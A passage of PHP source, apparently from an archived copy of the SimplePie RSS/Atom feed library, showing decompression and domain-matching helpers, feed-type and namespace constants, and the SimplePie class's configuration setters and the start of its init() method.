= $i + 2; } } $decompressed = self::compatible_gzinflate(substr($gzData, $i)); if (false !== $decompressed) { return $decompressed; } } // If the data is Huffman Encoded, we must first strip the leading 2 // byte Huffman marker for gzinflate() // The response is Huffman coded by many compressors such as // java.util.zip.Deflater, Ruby’s Zlib::Deflate, and .NET's // System.IO.Compression.DeflateStream. // // See https://decompres.blogspot.com/ for a quick explanation of this // data type $huffman_encoded = false; // low nibble of first byte should be 0x08 list(, $first_nibble) = unpack('h', $gzData); // First 2 bytes should be divisible by 0x1F list(, $first_two_bytes) = unpack('n', $gzData); if (0x08 == $first_nibble && 0 == ($first_two_bytes % 0x1F)) { $huffman_encoded = true; } if ($huffman_encoded) { if (false !== ($decompressed = @gzinflate(substr($gzData, 2)))) { return $decompressed; } } if ("\x50\x4b\x03\x04" == substr($gzData, 0, 4)) { // ZIP file format header // Offset 6: 2 bytes, General-purpose field // Offset 26: 2 bytes, filename length // Offset 28: 2 bytes, optional field length // Offset 30: Filename field, followed by optional field, followed // immediately by data list(, $general_purpose_flag) = unpack('v', substr($gzData, 6, 2)); // If the file has been compressed on the fly, 0x08 bit is set of // the general purpose field. We can use this to differentiate // between a compressed document, and a ZIP file $zip_compressed_on_the_fly = (0x08 == (0x08 & $general_purpose_flag)); if (!$zip_compressed_on_the_fly) { // Don't attempt to decode a compressed zip file return $gzData; } // Determine the first byte of data, based on the above ZIP header // offsets: $first_file_start = array_sum(unpack('v2', substr($gzData, 26, 4))); if (false !== ($decompressed = @gzinflate(substr($gzData, 30 + $first_file_start)))) { return $decompressed; } return false; } // Finally fall back to straight gzinflate if (false !== ($decompressed = @gzinflate($gzData))) { return $decompressed; } // Fallback for all above failing, not expected, but included for // debugging and preventing regressions and to track stats if (false !== ($decompressed = @gzinflate(substr($gzData, 2)))) { return $decompressed; } return false; } public static function match_domain($host, $reference) { // Check for a direct match if ($host === $reference) { return true; } // Calculate the valid wildcard match if the host is not an IP address // Also validates that the host has 3 parts or more, as per Firefox's // ruleset. $parts = explode('.', $host); if (ip2long($host) === false && count($parts) >= 3) { $parts[0] = '*'; $wildcard = implode('.', $parts); if ($wildcard === $reference) { return true; } } return false; } } class-simplepie.php000064400000274017151202620300010351 0ustar00' . SIMPLEPIE_NAME . ''); /** * No Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_NONE', 0); /** * Feed Link Element Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', 1); /** * Local Feed Extension Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', 2); /** * Local Feed Body Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_LOCAL_BODY', 4); /** * Remote Feed Extension Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', 8); /** * Remote Feed Body Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_REMOTE_BODY', 16); /** * All Feed Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_ALL', 31); /** * No known feed type */ define('SIMPLEPIE_TYPE_NONE', 0); /** * RSS 0.90 */ define('SIMPLEPIE_TYPE_RSS_090', 1); /** * RSS 0.91 (Netscape) */ define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', 2); /** * RSS 0.91 (Userland) */ define('SIMPLEPIE_TYPE_RSS_091_USERLAND', 4); /** * RSS 0.91 (both Netscape and Userland) */ define('SIMPLEPIE_TYPE_RSS_091', 6); /** * RSS 0.92 */ define('SIMPLEPIE_TYPE_RSS_092', 8); /** * RSS 0.93 */ define('SIMPLEPIE_TYPE_RSS_093', 16); /** * RSS 0.94 */ define('SIMPLEPIE_TYPE_RSS_094', 32); /** * RSS 1.0 */ define('SIMPLEPIE_TYPE_RSS_10', 64); /** * RSS 2.0 */ define('SIMPLEPIE_TYPE_RSS_20', 128); /** * RDF-based RSS */ define('SIMPLEPIE_TYPE_RSS_RDF', 65); /** * Non-RDF-based RSS (truly intended as syndication format) */ define('SIMPLEPIE_TYPE_RSS_SYNDICATION', 190); /** * All RSS */ define('SIMPLEPIE_TYPE_RSS_ALL', 255); /** * Atom 0.3 */ define('SIMPLEPIE_TYPE_ATOM_03', 256); /** * Atom 1.0 */ define('SIMPLEPIE_TYPE_ATOM_10', 512); /** * All Atom */ define('SIMPLEPIE_TYPE_ATOM_ALL', 768); /** * All feed types */ define('SIMPLEPIE_TYPE_ALL', 1023); /** * No construct */ define('SIMPLEPIE_CONSTRUCT_NONE', 0); /** * Text construct */ define('SIMPLEPIE_CONSTRUCT_TEXT', 1); /** * HTML construct */ define('SIMPLEPIE_CONSTRUCT_HTML', 2); /** * XHTML construct */ define('SIMPLEPIE_CONSTRUCT_XHTML', 4); /** * base64-encoded construct */ define('SIMPLEPIE_CONSTRUCT_BASE64', 8); /** * IRI construct */ define('SIMPLEPIE_CONSTRUCT_IRI', 16); /** * A construct that might be HTML */ define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', 32); /** * All constructs */ define('SIMPLEPIE_CONSTRUCT_ALL', 63); /** * Don't change case */ define('SIMPLEPIE_SAME_CASE', 1); /** * Change to lowercase */ define('SIMPLEPIE_LOWERCASE', 2); /** * Change to uppercase */ define('SIMPLEPIE_UPPERCASE', 4); /** * PCRE for HTML attributes */ define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*'); /** * PCRE for XML attributes */ define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*'); /** * XML Namespace */ define('SIMPLEPIE_NAMESPACE_XML', 'http://www.w3.org/XML/1998/namespace'); /** * Atom 1.0 Namespace */ define('SIMPLEPIE_NAMESPACE_ATOM_10', 'http://www.w3.org/2005/Atom'); /** * Atom 0.3 Namespace */ define('SIMPLEPIE_NAMESPACE_ATOM_03', 'http://purl.org/atom/ns#'); /** * RDF Namespace */ define('SIMPLEPIE_NAMESPACE_RDF', 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'); /** * RSS 0.90 Namespace */ define('SIMPLEPIE_NAMESPACE_RSS_090', 'http://my.netscape.com/rdf/simple/0.9/'); /** * RSS 1.0 Namespace */ define('SIMPLEPIE_NAMESPACE_RSS_10', 'http://purl.org/rss/1.0/'); /** * RSS 1.0 Content Module Namespace */ define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', 'http://purl.org/rss/1.0/modules/content/'); /** * RSS 2.0 Namespace * (Stupid, I know, but I'm certain it will confuse people less with support.) */ define('SIMPLEPIE_NAMESPACE_RSS_20', ''); /** * DC 1.0 Namespace */ define('SIMPLEPIE_NAMESPACE_DC_10', 'http://purl.org/dc/elements/1.0/'); /** * DC 1.1 Namespace */ define('SIMPLEPIE_NAMESPACE_DC_11', 'http://purl.org/dc/elements/1.1/'); /** * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace */ define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', 'http://www.w3.org/2003/01/geo/wgs84_pos#'); /** * GeoRSS Namespace */ define('SIMPLEPIE_NAMESPACE_GEORSS', 'http://www.georss.org/georss'); /** * Media RSS Namespace */ define('SIMPLEPIE_NAMESPACE_MEDIARSS', 'http://search.yahoo.com/mrss/'); /** * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', 'http://search.yahoo.com/mrss'); /** * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', 'http://video.search.yahoo.com/mrss'); /** * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', 'http://video.search.yahoo.com/mrss/'); /** * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', 'http://www.rssboard.org/media-rss'); /** * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', 'http://www.rssboard.org/media-rss/'); /** * iTunes RSS Namespace */ define('SIMPLEPIE_NAMESPACE_ITUNES', 'http://www.itunes.com/dtds/podcast-1.0.dtd'); /** * XHTML Namespace */ define('SIMPLEPIE_NAMESPACE_XHTML', 'http://www.w3.org/1999/xhtml'); /** * IANA Link Relations Registry */ define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', 'http://www.iana.org/assignments/relation/'); /** * No file source */ define('SIMPLEPIE_FILE_SOURCE_NONE', 0); /** * Remote file source */ define('SIMPLEPIE_FILE_SOURCE_REMOTE', 1); /** * Local file source */ define('SIMPLEPIE_FILE_SOURCE_LOCAL', 2); /** * fsockopen() file source */ define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', 4); /** * cURL file source */ define('SIMPLEPIE_FILE_SOURCE_CURL', 8); /** * file_get_contents() file source */ define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', 16); /** * SimplePie * * @package SimplePie * @subpackage API */ class SimplePie { /** * @var array Raw data * @access private */ public $data = array(); /** * @var mixed Error string * @access private */ public $error; /** * @var object Instance of SimplePie_Sanitize (or other class) * @see SimplePie::set_sanitize_class() * @access private */ public $sanitize; /** * @var string SimplePie Useragent * @see SimplePie::set_useragent() * @access private */ public $useragent = SIMPLEPIE_USERAGENT; /** * @var string Feed URL * @see SimplePie::set_feed_url() * @access private */ public $feed_url; /** * @var string Original feed URL, or new feed URL iff HTTP 301 Moved Permanently * @see SimplePie::subscribe_url() * @access private */ public $permanent_url = null; /** * @var object Instance of SimplePie_File to use as a feed * @see SimplePie::set_file() * @access private */ public $file; /** * @var string Raw feed data * @see SimplePie::set_raw_data() * @access private */ public $raw_data; /** * @var int Timeout for fetching remote files * @see SimplePie::set_timeout() * @access private */ public $timeout = 10; /** * @var array Custom curl options * @see SimplePie::set_curl_options() * @access private */ public $curl_options = array(); /** * @var bool Forces fsockopen() to be used for remote files instead * of cURL, even if a new enough version is installed * @see SimplePie::force_fsockopen() * @access private */ public $force_fsockopen = false; /** * @var bool Force the given data/URL to be treated as a feed no matter what * it appears like * @see SimplePie::force_feed() * @access private */ public $force_feed = false; /** * @var bool Enable/Disable Caching * @see SimplePie::enable_cache() * @access private */ public $cache = true; /** * @var bool Force SimplePie to fallback to expired cache, if enabled, * when feed is unavailable. * @see SimplePie::force_cache_fallback() * @access private */ public $force_cache_fallback = false; /** * @var int Cache duration (in seconds) * @see SimplePie::set_cache_duration() * @access private */ public $cache_duration = 3600; /** * @var int Auto-discovery cache duration (in seconds) * @see SimplePie::set_autodiscovery_cache_duration() * @access private */ public $autodiscovery_cache_duration = 604800; // 7 Days. /** * @var string Cache location (relative to executing script) * @see SimplePie::set_cache_location() * @access private */ public $cache_location = './cache'; /** * @var string Function that creates the cache filename * @see SimplePie::set_cache_name_function() * @access private */ public $cache_name_function = 'md5'; /** * @var bool Reorder feed by date descending * @see SimplePie::enable_order_by_date() * @access private */ public $order_by_date = true; /** * @var mixed Force input encoding to be set to the follow value * (false, or anything type-cast to false, disables this feature) * @see SimplePie::set_input_encoding() * @access private */ public $input_encoding = false; /** * @var int Feed Autodiscovery Level * @see SimplePie::set_autodiscovery_level() * @access private */ public $autodiscovery = SIMPLEPIE_LOCATOR_ALL; /** * Class registry object * * @var SimplePie_Registry */ public $registry; /** * @var int Maximum number of feeds to check with autodiscovery * @see SimplePie::set_max_checked_feeds() * @access private */ public $max_checked_feeds = 10; /** * @var array All the feeds found during the autodiscovery process * @see SimplePie::get_all_discovered_feeds() * @access private */ public $all_discovered_feeds = array(); /** * @var string Web-accessible path to the handler_image.php file. * @see SimplePie::set_image_handler() * @access private */ public $image_handler = ''; /** * @var array Stores the URLs when multiple feeds are being initialized. * @see SimplePie::set_feed_url() * @access private */ public $multifeed_url = array(); /** * @var array Stores SimplePie objects when multiple feeds initialized. * @access private */ public $multifeed_objects = array(); /** * @var array Stores the get_object_vars() array for use with multifeeds. * @see SimplePie::set_feed_url() * @access private */ public $config_settings = null; /** * @var integer Stores the number of items to return per-feed with multifeeds. * @see SimplePie::set_item_limit() * @access private */ public $item_limit = 0; /** * @var bool Stores if last-modified and/or etag headers were sent with the * request when checking a feed. */ public $check_modified = false; /** * @var array Stores the default attributes to be stripped by strip_attributes(). * @see SimplePie::strip_attributes() * @access private */ public $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'); /** * @var array Stores the default attributes to add to different tags by add_attributes(). * @see SimplePie::add_attributes() * @access private */ public $add_attributes = array('audio' => array('preload' => 'none'), 'iframe' => array('sandbox' => 'allow-scripts allow-same-origin'), 'video' => array('preload' => 'none')); /** * @var array Stores the default tags to be stripped by strip_htmltags(). * @see SimplePie::strip_htmltags() * @access private */ public $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'); /** * @var bool Should we throw exceptions, or use the old-style error property? * @access private */ public $enable_exceptions = false; /** * The SimplePie class contains feed level data and options * * To use SimplePie, create the SimplePie object with no parameters. You can * then set configuration options using the provided methods. After setting * them, you must initialise the feed using $feed->init(). At that point the * object's methods and properties will be available to you. * * Previously, it was possible to pass in the feed URL along with cache * options directly into the constructor. This has been removed as of 1.3 as * it caused a lot of confusion. * * @since 1.0 Preview Release */ public function __construct() { if (version_compare(PHP_VERSION, '5.6', '<')) { trigger_error('Please upgrade to PHP 5.6 or newer.'); die(); } // Other objects, instances created here so we can set options on them $this->sanitize = new SimplePie_Sanitize(); $this->registry = new SimplePie_Registry(); if (func_num_args() > 0) { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_duration() directly.', $level); $args = func_get_args(); switch (count($args)) { case 3: $this->set_cache_duration($args[2]); case 2: $this->set_cache_location($args[1]); case 1: $this->set_feed_url($args[0]); $this->init(); } } } /** * Used for converting object to a string */ public function __toString() { return md5(serialize($this->data)); } /** * Remove items that link back to this before destroying this object */ public function __destruct() { if (!gc_enabled()) { if (!empty($this->data['items'])) { foreach ($this->data['items'] as $item) { $item->__destruct(); } unset($item, $this->data['items']); } if (!empty($this->data['ordered_items'])) { foreach ($this->data['ordered_items'] as $item) { $item->__destruct(); } unset($item, $this->data['ordered_items']); } } } /** * Force the given data/URL to be treated as a feed * * This tells SimplePie to ignore the content-type provided by the server. * Be careful when using this option, as it will also disable autodiscovery. * * @since 1.1 * @param bool $enable Force the given data/URL to be treated as a feed */ public function force_feed($enable = false) { $this->force_feed = (bool) $enable; } /** * Set the URL of the feed you want to parse * * This allows you to enter the URL of the feed you want to parse, or the * website you want to try to use auto-discovery on. This takes priority * over any set raw data. * * You can set multiple feeds to mash together by passing an array instead * of a string for the $url. Remember that with each additional feed comes * additional processing and resources. * * @since 1.0 Preview Release * @see set_raw_data() * @param string|array $url This is the URL (or array of URLs) that you want to parse. */ public function set_feed_url($url) { $this->multifeed_url = array(); if (is_array($url)) { foreach ($url as $value) { $this->multifeed_url[] = $this->registry->call('Misc', 'fix_protocol', array($value, 1)); } } else { $this->feed_url = $this->registry->call('Misc', 'fix_protocol', array($url, 1)); $this->permanent_url = $this->feed_url; } } /** * Set an instance of {@see SimplePie_File} to use as a feed * * @param SimplePie_File &$file * @return bool True on success, false on failure */ public function set_file(&$file) { if ($file instanceof SimplePie_File) { $this->feed_url = $file->url; $this->permanent_url = $this->feed_url; $this->file =& $file; return true; } return false; } /** * Set the raw XML data to parse * * Allows you to use a string of RSS/Atom data instead of a remote feed. * * If you have a feed available as a string in PHP, you can tell SimplePie * to parse that data string instead of a remote feed. Any set feed URL * takes precedence. * * @since 1.0 Beta 3 * @param string $data RSS or Atom data as a string. * @see set_feed_url() */ public function set_raw_data($data) { $this->raw_data = $data; } /** * Set the default timeout for fetching remote feeds * * This allows you to change the maximum time the feed's server to respond * and send the feed back. * * @since 1.0 Beta 3 * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed. */ public function set_timeout($timeout = 10) { $this->timeout = (int) $timeout; } /** * Set custom curl options * * This allows you to change default curl options * * @since 1.0 Beta 3 * @param array $curl_options Curl options to add to default settings */ public function set_curl_options(array $curl_options = array()) { $this->curl_options = $curl_options; } /** * Force SimplePie to use fsockopen() instead of cURL * * @since 1.0 Beta 3 * @param bool $enable Force fsockopen() to be used */ public function force_fsockopen($enable = false) { $this->force_fsockopen = (bool) $enable; } /** * Enable/disable caching in SimplePie. * * This option allows you to disable caching all-together in SimplePie. * However, disabling the cache can lead to longer load times. * * @since 1.0 Preview Release * @param bool $enable Enable caching */ public function enable_cache($enable = true) { $this->cache = (bool) $enable; } /** * SimplePie to continue to fall back to expired cache, if enabled, when * feed is unavailable. * * This tells SimplePie to ignore any file errors and fall back to cache * instead. This only works if caching is enabled and cached content * still exists. * @param bool $enable Force use of cache on fail. */ public function force_cache_fallback($enable = false) { $this->force_cache_fallback= (bool) $enable; } /** * Set the length of time (in seconds) that the contents of a feed will be * cached * * @param int $seconds The feed content cache duration */ public function set_cache_duration($seconds = 3600) { $this->cache_duration = (int) $seconds; } /** * Set the length of time (in seconds) that the autodiscovered feed URL will * be cached * * @param int $seconds The autodiscovered feed URL cache duration. */ public function set_autodiscovery_cache_duration($seconds = 604800) { $this->autodiscovery_cache_duration = (int) $seconds; } /** * Set the file system location where the cached files should be stored * * @param string $location The file system location. */ public function set_cache_location($location = './cache') { $this->cache_location = (string) $location; } /** * Set whether feed items should be sorted into reverse chronological order * * @param bool $enable Sort as reverse chronological order. */ public function enable_order_by_date($enable = true) { $this->order_by_date = (bool) $enable; } /** * Set the character encoding used to parse the feed * * This overrides the encoding reported by the feed, however it will fall * back to the normal encoding detection if the override fails * * @param string $encoding Character encoding */ public function set_input_encoding($encoding = false) { if ($encoding) { $this->input_encoding = (string) $encoding; } else { $this->input_encoding = false; } } /** * Set how much feed autodiscovery to do * * @see SIMPLEPIE_LOCATOR_NONE * @see SIMPLEPIE_LOCATOR_AUTODISCOVERY * @see SIMPLEPIE_LOCATOR_LOCAL_EXTENSION * @see SIMPLEPIE_LOCATOR_LOCAL_BODY * @see SIMPLEPIE_LOCATOR_REMOTE_EXTENSION * @see SIMPLEPIE_LOCATOR_REMOTE_BODY * @see SIMPLEPIE_LOCATOR_ALL * @param int $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator) */ public function set_autodiscovery_level($level = SIMPLEPIE_LOCATOR_ALL) { $this->autodiscovery = (int) $level; } /** * Get the class registry * * Use this to override SimplePie's default classes * @see SimplePie_Registry * @return SimplePie_Registry */ public function &get_registry() { return $this->registry; } /**#@+ * Useful when you are overloading or extending SimplePie's default classes. * * @deprecated Use {@see get_registry()} instead * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation * @param string $class Name of custom class * @return boolean True on success, false otherwise */ /** * Set which class SimplePie uses for caching */ public function set_cache_class($class = 'SimplePie_Cache') { return $this->registry->register('Cache', $class, true); } /** * Set which class SimplePie uses for auto-discovery */ public function set_locator_class($class = 'SimplePie_Locator') { return $this->registry->register('Locator', $class, true); } /** * Set which class SimplePie uses for XML parsing */ public function set_parser_class($class = 'SimplePie_Parser') { return $this->registry->register('Parser', $class, true); } /** * Set which class SimplePie uses for remote file fetching */ public function set_file_class($class = 'SimplePie_File') { return $this->registry->register('File', $class, true); } /** * Set which class SimplePie uses for data sanitization */ public function set_sanitize_class($class = 'SimplePie_Sanitize') { return $this->registry->register('Sanitize', $class, true); } /** * Set which class SimplePie uses for handling feed items */ public function set_item_class($class = 'SimplePie_Item') { return $this->registry->register('Item', $class, true); } /** * Set which class SimplePie uses for handling author data */ public function set_author_class($class = 'SimplePie_Author') { return $this->registry->register('Author', $class, true); } /** * Set which class SimplePie uses for handling category data */ public function set_category_class($class = 'SimplePie_Category') { return $this->registry->register('Category', $class, true); } /** * Set which class SimplePie uses for feed enclosures */ public function set_enclosure_class($class = 'SimplePie_Enclosure') { return $this->registry->register('Enclosure', $class, true); } /** * Set which class SimplePie uses for `` captions */ public function set_caption_class($class = 'SimplePie_Caption') { return $this->registry->register('Caption', $class, true); } /** * Set which class SimplePie uses for `` */ public function set_copyright_class($class = 'SimplePie_Copyright') { return $this->registry->register('Copyright', $class, true); } /** * Set which class SimplePie uses for `` */ public function set_credit_class($class = 'SimplePie_Credit') { return $this->registry->register('Credit', $class, true); } /** * Set which class SimplePie uses for `` */ public function set_rating_class($class = 'SimplePie_Rating') { return $this->registry->register('Rating', $class, true); } /** * Set which class SimplePie uses for `` */ public function set_restriction_class($class = 'SimplePie_Restriction') { return $this->registry->register('Restriction', $class, true); } /** * Set which class SimplePie uses for content-type sniffing */ public function set_content_type_sniffer_class($class = 'SimplePie_Content_Type_Sniffer') { return $this->registry->register('Content_Type_Sniffer', $class, true); } /** * Set which class SimplePie uses item sources */ public function set_source_class($class = 'SimplePie_Source') { return $this->registry->register('Source', $class, true); } /**#@-*/ /** * Set the user agent string * * @param string $ua New user agent string. */ public function set_useragent($ua = SIMPLEPIE_USERAGENT) { $this->useragent = (string) $ua; } /** * Set callback function to create cache filename with * * @param mixed $function Callback function */ public function set_cache_name_function($function = 'md5') { if (is_callable($function)) { $this->cache_name_function = $function; } } /** * Set options to make SP as fast as possible * * Forgoes a substantial amount of data sanitization in favor of speed. This * turns SimplePie into a dumb parser of feeds. * * @param bool $set Whether to set them or not */ public function set_stupidly_fast($set = false) { if ($set) { $this->enable_order_by_date(false); $this->remove_div(false); $this->strip_comments(false); $this->strip_htmltags(false); $this->strip_attributes(false); $this->add_attributes(false); $this->set_image_handler(false); } } /** * Set maximum number of feeds to check with autodiscovery * * @param int $max Maximum number of feeds to check */ public function set_max_checked_feeds($max = 10) { $this->max_checked_feeds = (int) $max; } public function remove_div($enable = true) { $this->sanitize->remove_div($enable); } public function strip_htmltags($tags = '', $encode = null) { if ($tags === '') { $tags = $this->strip_htmltags; } $this->sanitize->strip_htmltags($tags); if ($encode !== null) { $this->sanitize->encode_instead_of_strip($tags); } } public function encode_instead_of_strip($enable = true) { $this->sanitize->encode_instead_of_strip($enable); } public function strip_attributes($attribs = '') { if ($attribs === '') { $attribs = $this->strip_attributes; } $this->sanitize->strip_attributes($attribs); } public function add_attributes($attribs = '') { if ($attribs === '') { $attribs = $this->add_attributes; } $this->sanitize->add_attributes($attribs); } /** * Set the output encoding * * Allows you to override SimplePie's output to match that of your webpage. * This is useful for times when your webpages are not being served as * UTF-8. This setting will be obeyed by {@see handle_content_type()}, and * is similar to {@see set_input_encoding()}. * * It should be noted, however, that not all character encodings can support * all characters. If your page is being served as ISO-8859-1 and you try * to display a Japanese feed, you'll likely see garbled characters. * Because of this, it is highly recommended to ensure that your webpages * are served as UTF-8. * * The number of supported character encodings depends on whether your web * host supports {@link http://php.net/mbstring mbstring}, * {@link http://php.net/iconv iconv}, or both. See * {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for * more information. * * @param string $encoding */ public function set_output_encoding($encoding = 'UTF-8') { $this->sanitize->set_output_encoding($encoding); } public function strip_comments($strip = false) { $this->sanitize->strip_comments($strip); } /** * Set element/attribute key/value pairs of HTML attributes * containing URLs that need to be resolved relative to the feed * * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite, * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite, * |q|@cite * * @since 1.0 * @param array|null $element_attribute Element/attribute key/value pairs, null for default */ public function set_url_replacements($element_attribute = null) { $this->sanitize->set_url_replacements($element_attribute); } /** * Set the handler to enable the display of cached images. * * @param string $page Web-accessible path to the handler_image.php file. * @param string $qs The query string that the value should be passed to. */ public function set_image_handler($page = false, $qs = 'i') { if ($page !== false) { $this->sanitize->set_image_handler($page . '?' . $qs . '='); } else { $this->image_handler = ''; } } /** * Set the limit for items returned per-feed with multifeeds * * @param integer $limit The maximum number of items to return. */ public function set_item_limit($limit = 0) { $this->item_limit = (int) $limit; } /** * Enable throwing exceptions * * @param boolean $enable Should we throw exceptions, or use the old-style error property? */ public function enable_exceptions($enable = true) { $this->enable_exceptions = $enable; } /** * Initialize the feed object * * This is what makes everything happen. Period. This is where all of the * configuration options get processed, feeds are fetched, cached, and * parsed, and all of that other good stuff. * * @return boolean True if successful, false otherwise */ public function init() { // Check absolute bare minimum requirements. if (!extension_loaded('xml') || !extension_loaded('pcre')) { $this->error = 'XML or PCRE extensions not loaded!'; return false; } // Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader. elseif (!extension_loaded('xmlreader')) { static $xml_is_sane = null; if ($xml_is_sane === null) { $parser_check = xml_parser_create(); xml_parse_into_struct($parser_check, '&', $values); xml_parser_free($parser_check); $xml_is_sane = isset($values[0]['value']); } if (!$xml_is_sane) { return false; } } // The default sanitize class gets set in the constructor, check if it has // changed. if ($this->registry->get_class('Sanitize') !== 'SimplePie_Sanitize') { $this->sanitize = $this->registry->create('Sanitize'); } if (method_exists($this->sanitize, 'set_registry')) { $this->sanitize->set_registry($this->registry); } // Pass whatever was set with config options over to the sanitizer. // Pass the classes in for legacy support; new classes should use the registry instead $this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->registry->get_class('Cache')); $this->sanitize->pass_file_data($this->registry->get_class('File'), $this->timeout, $this->useragent, $this->force_fsockopen, $this->curl_options); if (!empty($this->multifeed_url)) { $i = 0; $success = 0; $this->multifeed_objects = array(); $this->error = array(); foreach ($this->multifeed_url as $url) { $this->multifeed_objects[$i] = clone $this; $this->multifeed_objects[$i]->set_feed_url($url); $single_success = $this->multifeed_objects[$i]->init(); $success |= $single_success; if (!$single_success) { $this->error[$i] = $this->multifeed_objects[$i]->error(); } $i++; } return (bool) $success; } elseif ($this->feed_url === null && $this->raw_data === null) { return false; } $this->error = null; $this->data = array(); $this->check_modified = false; $this->multifeed_objects = array(); $cache = false; if ($this->feed_url !== null) { $parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url)); // Decide whether to enable caching if ($this->cache && $parsed_feed_url['scheme'] !== '') { $url = $this->feed_url . ($this->force_feed ? '#force_feed' : ''); $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $url), 'spc')); } // Fetch the data via SimplePie_File into $this->raw_data if (($fetched = $this->fetch_data($cache)) === true) { return true; } elseif ($fetched === false) { return false; } list($headers, $sniffed) = $fetched; } // Empty response check if(empty($this->raw_data)){ $this->error = "A feed could not be found at `$this->feed_url`. Empty body."; $this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__)); return false; } // Set up array of possible encodings $encodings = array(); // First check to see if input has been overridden. if ($this->input_encoding !== false) { $encodings[] = strtoupper($this->input_encoding); } $application_types = array('application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity'); $text_types = array('text/xml', 'text/xml-external-parsed-entity'); // RFC 3023 (only applies to sniffed content) if (isset($sniffed)) { if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml') { if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) { $encodings[] = strtoupper($charset[1]); } $encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', array($this->raw_data, &$this->registry))); $encodings[] = 'UTF-8'; } elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml') { if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) { $encodings[] = strtoupper($charset[1]); } $encodings[] = 'US-ASCII'; } // Text MIME-type default elseif (substr($sniffed, 0, 5) === 'text/') { $encodings[] = 'UTF-8'; } } // Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1 $encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', array($this->raw_data, &$this->registry))); $encodings[] = 'UTF-8'; $encodings[] = 'ISO-8859-1'; // There's no point in trying an encoding twice $encodings = array_unique($encodings); // Loop through each possible encoding, till we return something, or run out of possibilities foreach ($encodings as $encoding) { // Change the encoding to UTF-8 (as we always use UTF-8 internally) if ($utf8_data = $this->registry->call('Misc', 'change_encoding', array($this->raw_data, $encoding, 'UTF-8'))) { // Create new parser $parser = $this->registry->create('Parser'); // If it's parsed fine if ($parser->parse($utf8_data, 'UTF-8', $this->permanent_url)) { $this->data = $parser->get_data(); if (!($this->get_type() & ~SIMPLEPIE_TYPE_NONE)) 